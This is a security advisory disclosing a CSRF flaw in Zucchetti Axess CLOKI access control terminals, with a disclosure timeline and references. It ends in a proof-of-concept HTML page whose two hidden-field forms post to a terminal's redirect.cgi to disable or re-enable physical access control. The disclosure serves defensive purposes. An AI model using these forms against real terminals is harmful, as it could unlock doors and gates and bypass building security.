Gjoko KrsticZSL-2021-5689Zucchetti Axess CLOKI Access Control 1.64 CSRF Disable Access Control
7.7 High
AI Score
Confidence
Low
Title: Zucchetti Axess CLOKI Access Control 1.64 CSRF Disable Access Control
Advisory ID: ZSL-2021-5689
Type: Local/Remote
Impact: Cross-Site Scripting, Security Bypass
Risk: (3/5)
Release Date: 13.12.2021
Summary
CLOKI is the pre-installed application on our terminals that provides simple to use access control management and attendance monitoring using any browser (IE, Chrome, Firefox, etc.). It is suited for anyone looking for a stand-alone Access Control and Attendance Monitoring system where the users’ data is not frequently changed. Data management is simple and intuitive and no additional software is needed on the PC intend to use as WEB base. CLOKI for Access Control also allows configuration and monitoring of access at all company entrances (doors, gates, turnstiles etc). The Access Control manages any type of reader, entrance and access credential. Using an impartial selector it is possible to check that employees do not take company assets and allows registration of all accesses to the system and all operations that users carry out.
Description
The application interface allows users to perform certain actions via HTTP requests without performing any validity checks to verify the requests. These actions can be exploited to perform authentication detriment and account password change with administrative privileges if a logged-in user visits a malicious web site.
Vendor
Zucchetti Axess S.p.A. - <https://www.axesstmc.com>
Affected Version
1.64
1.63
1.54
Tested On
Start X3 (h02 build 4163)
Start X1 (g01 build 2804)
X1/X2/X3/X4/X7 Web Server
Vendor Status
[13.11.2021] Vulnerability discovered.
[11.12.2021] Vendor contacted.
[12.12.2021] No response from the vendor.
[13.12.2021] Public security advisory released.
PoC
Credits
Vulnerability discovered by Gjoko Krstic - <[email protected]>
References
[1] <https://packetstormsecurity.com/files/165267/>
[2] <https://www.exploit-db.com/exploits/50595>
[3] <https://cxsecurity.com/issue/WLB-2021120072>
[4] <https://exchange.xforce.ibmcloud.com/vulnerabilities/215287>
Changelog
[13.12.2021] - Initial release
[14.12.2021] - Added reference [1] and [2]
[17.12.2021] - Added reference [3] and [4]
Contact
Zero Science Lab
Web: <https://www.zeroscience.mk>
e-mail: [email protected]
<!--
Zucchetti Axess CLOKI Access Control 1.64 CSRF Disable Access Control
Vendor: Zucchetti Axess S.p.A.
Product web page: https://www.axesstmc.com
Affected version: 1.64
1.63
1.54
Summary: CLOKI is the pre-installed application on our terminals that
provides simple to use access control management and attendance monitoring
using any browser (IE, Chrome, Firefox, etc.). It is suited for anyone
looking for a stand-alone Access Control and Attendance Monitoring system
where the users' data is not frequently changed. Data management is simple
and intuitive and no additional software is needed on the PC intend to use
as WEB base. CLOKI for Access Control also allows configuration and monitoring
of access at all company entrances (doors, gates, turnstiles etc). The Access
Control manages any type of reader, entrance and access credential. Using an
impartial selector it is possible to check that employees do not take company
assets and allows registration of all accesses to the system and all operations
that users carry out.
Desc: The application interface allows users to perform certain actions via HTTP
requests without performing any validity checks to verify the requests. These
actions can be exploited to perform authentication detriment and account password
change with administrative privileges if a logged-in user visits a malicious web
site.
Tested on: Start X3 (h02 build 4163)
Start X1 (g01 build 2804)
X1/X2/X3/X4/X7 Web Server
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience
Advisory ID: ZSL-2021-5689
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2021-5689.php
13.11.2021
--><html><body><p>CSRF disable AC:
----------------
</p>
<form action="http://10.0.0.2:8081/redirect.cgi">
<input name="flagAccessControlChanged" type="hidden" value="true"/>
<input name="RAct" type="hidden" value="5"/>
<input name="EnR" type="hidden" value="1"/>
<input name="ExR" type="hidden" value="1"/>
<input name="DenyRTout" type="hidden" value="5"/>
<input name="DenyR" type="hidden" value="0"/>
<input name="IType" type="hidden" value="0"/>
<input name="E485" type="hidden" value="on"/>
<input name="GType" type="hidden" value="0"/>
<input name="TOO" type="hidden" value="50"/>
<input name="TOC" type="hidden" value="50"/>
<input name="TOOE" type="hidden" value="100"/>
<input name="TOCE" type="hidden" value="100"/>
<input type="submit" value="Submit request"/>
</form>
CSRF enable AC:
---------------
<form action="http://10.0.0.2:8081/redirect.cgi">
<input name="flagAccessControlChanged" type="hidden" value="true"/>
<input name="ACtrl" type="hidden" value="on"/>
<input name="RAct" type="hidden" value="5"/>
<input name="EnR" type="hidden" value="1"/>
<input name="ExR" type="hidden" value="1"/>
<input name="DenyRTout" type="hidden" value="5"/>
<input name="DenyR" type="hidden" value="0"/>
<input name="IType" type="hidden" value="0"/>
<input name="E485" type="hidden" value="on"/>
<input name="GType" type="hidden" value="0"/>
<input name="TOO" type="hidden" value="50"/>
<input name="TOC" type="hidden" value="50"/>
<input name="TOOE" type="hidden" value="100"/>
<input name="TOCE" type="hidden" value="100"/>
<input type="submit" value="Submit request"/>
</form>
</body></html>7.7 High
AI Score
Confidence
Low